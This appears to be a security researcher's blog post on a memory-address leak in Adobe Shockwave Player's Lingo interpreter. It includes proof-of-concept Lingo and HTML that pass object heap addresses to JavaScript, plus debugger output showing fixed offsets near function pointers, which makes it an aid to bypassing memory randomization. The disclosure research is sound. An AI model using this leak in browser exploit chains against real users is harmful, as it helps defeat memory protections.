Adobe Shockwave and Introspection

From Wikipedia:
    In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:


>>> a = "hihi"
>>> hex(id(a))
'0x22c83e0'
>>>

For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:


on startMovie
  x = window("stage").movie
  trace(x)
end

When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:


-- <Object _movie 2 b50244>

When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:


gotoNetPage("javascript: void ( disclose('" & x & "') );")

The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<html>
<script language="javascript">

function disclose(x) {
alert(x);
}
</script>

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
</embed>
</object>
</body>
</html>

When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:


0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type 00020000 MEM_PRIVATE
     Protect 00000004 PAGE_READWRITE
     State 00001000 MEM_COMMIT
     Usage RegionUsageHeap
     Handle 00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
     03db0018 20000 0000 [0b] 03db0020 100000 - (busy VirtualAlloc)

Here we can see the address is in the heap and is part of an allocation of size 0×100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:


0:022> u poi(0x03db0020+0x10) L3
IML32!Ordinal2064+0x6b70:
6907d880 8b4c2404 mov ecx,dword ptr [esp+4]
6907d884 8b41fc mov eax,dword ptr [ecx-4]
6907d887 8b5014 mov edx,dword ptr [eax+14h]

The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.


Aaron Portnoy
@aaronportnoy

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s